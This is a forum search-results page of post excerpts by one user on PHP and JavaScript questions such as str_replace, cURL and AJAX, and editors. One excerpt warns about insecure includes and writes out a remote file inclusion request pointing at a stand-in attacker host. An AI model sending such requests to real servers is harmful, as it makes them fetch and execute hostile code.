Goto Page: 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20
Actual Results
- may
- Forum: PHP Tutorials
- Topic: TUTORIAL : Conditional validation, data types - formating
- Subject: TUTORIAL : Conditional validation, data types - formating
- Replies: 2
- Views: 586
Posted: August 10th, 2009, 1:47 am
Thanks for the headsup rabid 
First off, You allready know that answer, but for the latter yes they are indeed short-crcuit (lazy) operators. if one 'and' two is false then they will all be, if one or two is true they will all be.
Thanks for that typo i have corrected it
First off, You allready know that answer, but for the latter yes they are indeed short-crcuit (lazy) operators. if one 'and' two is false then they will all be, if one or two is true they will all be.
Thanks for that typo i have corrected it
- may
- Forum: Programming / Scripting / Coding Forum
- Topic: I just want a point in the right direction
- Subject: I just want a point in the right direction
- Replies: 8
- Views: 300
Posted: December 11th, 2008, 3:46 am
Truce wrote:
FTR and to clarify, web browsers simply won't let you access another website with AJAX, so that nixes it for this purpose, even using iFrames.
I didnt knew that
- may
- Forum: Programming / Scripting / Coding Forum
- Topic: Working with .doc files, file_get_contents and str_replace
- Subject: Working with .doc files, file_get_contents and str_replace
- Replies: 1
- Views: 459
Posted: December 10th, 2008, 8:28 am
Means, php can replace the placeholder PHP, but ph or phpy can't replace the placeholder PHP. ? This sounds strange to me. Just run this and see what i mean...
The output i get is....
$data = 'Ozzu has a user called May'; $data = str_replace('May', 'Ozzu', $data); echo "$data";
- may
- Forum: Programming / Scripting / Coding Forum
- Topic: Help Needed Regarding Javascript
- Subject: Help Needed Regarding Javascript
- Replies: 1
- Views: 259
- Subject: Help Needed Regarding Javascript
Posted: December 10th, 2008, 7:24 am
Use PHP ;) [code] <?php $bnr[1]['link'] = "http://www.google.com"; $bnr[1]['img'] = "http://www.google.nl/intl/nl_nl/images/logo.gif"; $bnr[2]['link'] = "http://www.amis.nl"; $bnr[2]['img'] = "http://www.amis.nl/gfx/img_amis_logo.gif"; function GetBanner...
- may
- Forum: Programming / Scripting / Coding Forum
- Topic: I just want a point in the right direction
- Subject: I just want a point in the right direction
- Replies: 8
- Views: 300
Posted: December 10th, 2008, 3:32 am
May, AJAX is out. For security reasons, the XmlHttpRequest object isn't allowed to access pages outside of its own domain. http://php.net/curl Im not too familiar with whats "in or out" and security is a matter of scripting it savely if you ask me. Just to be clear, i was pointing out Aja...
- may
- Forum: Programming / Scripting / Coding Forum
- Topic: I just want a point in the right direction
- Subject: I just want a point in the right direction
- Replies: 8
- Views: 300
Posted: December 10th, 2008, 3:17 am
Curl is capable to handle Posts / Gets as if your script where a browser. So in effect CURL can fill out a form, or grab content from external websites and present that info localy as if the information is from your own site. To give you some example of Curl in action. This Script > http://www.du...
- may
- Forum: Programming / Scripting / Coding Forum
- Topic: What is the best & user friendly software editor for PHP ?
- Subject: What is the best & user friendly software editor for PHP ?
- Replies: 11
- Views: 556
Posted: December 10th, 2008, 3:11 am
Ow i use Eclipse and notepad++ (hacked a bit to my liking
)
- may
- Forum: Programming / Scripting / Coding Forum
- Topic: php stupidity ticking me off
- Subject: php stupidity ticking me off
- Replies: 5
- Views: 280
- Subject: php stupidity ticking me off
Posted: December 9th, 2008, 4:07 am
- may
- Forum: Programming / Scripting / Coding Forum
- Topic: I just want a point in the right direction
- Subject: I just want a point in the right direction
- Replies: 8
- Views: 300
Posted: December 9th, 2008, 3:40 am
I would use Ajax, and dont send - get data between webservers. Also i would recommend using SSL but this would be the setup i would use... [code] Web1 (Serve Page) | Page Ajax Component ----> Web2 (Handle auth) | Auth succes?valid session? etc? Handle Response <----W...
- may
- Forum: Programming / Scripting / Coding Forum
- Topic: What is the best & user friendly software editor for PHP ?
- Subject: What is the best & user friendly software editor for PHP ?
- Replies: 11
- Views: 556
Posted: December 9th, 2008, 3:32 am
srrejeki wrote:
...Because im still a rookie in PHP... 
A realy good editor isnt going to help you on that part though
- may
- Forum: Programming / Scripting / Coding Forum
- Topic: Resource: PHP Upload Class :: Non-commercial Use
- Subject: Resource: PHP Upload Class :: Non-commercial Use
- Replies: 6
- Views: 334
Posted: December 2nd, 2008, 4:23 am
I often face myself with the question is my code realy functional or is there a smarter way to reach my goal. When am i trying to create a programatical wonder or is it realy the basic functionality i want to guarantee here. When i look at this part of the code i wonder the same... [code] * Genera...
- may
- Forum: Programming / Scripting / Coding Forum
- Topic: Resource: PHP Upload Class :: Non-commercial Use
- Subject: Resource: PHP Upload Class :: Non-commercial Use
- Replies: 6
- Views: 334
Posted: December 2nd, 2008, 4:03 am
lol, could be. The should be is a tough one though 
- may
- Forum: Programming / Scripting / Coding Forum
- Topic: call another function in same page..
- Subject: call another function in same page..
- Replies: 11
- Views: 464
- Subject: call another function in same page..
Posted: December 2nd, 2008, 3:41 am
Hehe :) Both are correct, and we are all wrong ;) I dont know what he is trying to do exactly or how "smart" and "exclusive" the solution should be in the long run. But i do know we all are trying to help him as good as we can... :) And indeed bogey, you example is save, whereas ...
- may
- Forum: Programming / Scripting / Coding Forum
- Topic: call another function in same page..
- Subject: call another function in same page..
- Replies: 11
- Views: 464
- Subject: call another function in same page..
Posted: December 1st, 2008, 6:54 am
Does anyone consider security nowadays? How about this request? ?pg=http://mybogussite.com/hackyourserver.php It will be included and more importantly executed on the server thats handling the include. So effectively if your unlucky and a internet worm is starting to beat your website... One of thes...
- may
- Forum: Programming / Scripting / Coding Forum
- Topic: php won't let me print a new line, format specifier?
- Subject: php won't let me print a new line, format specifier?
- Replies: 5
- Views: 1292
Posted: October 28th, 2008, 5:23 am
There isnt a "build-in" function available as far as i know. NL2BR does just that, convert \n to <br>. So you can either "strip" the \n from the string after applying the <br>. Or you can evaluate the string rule by rule writing your own function, that can look someth...

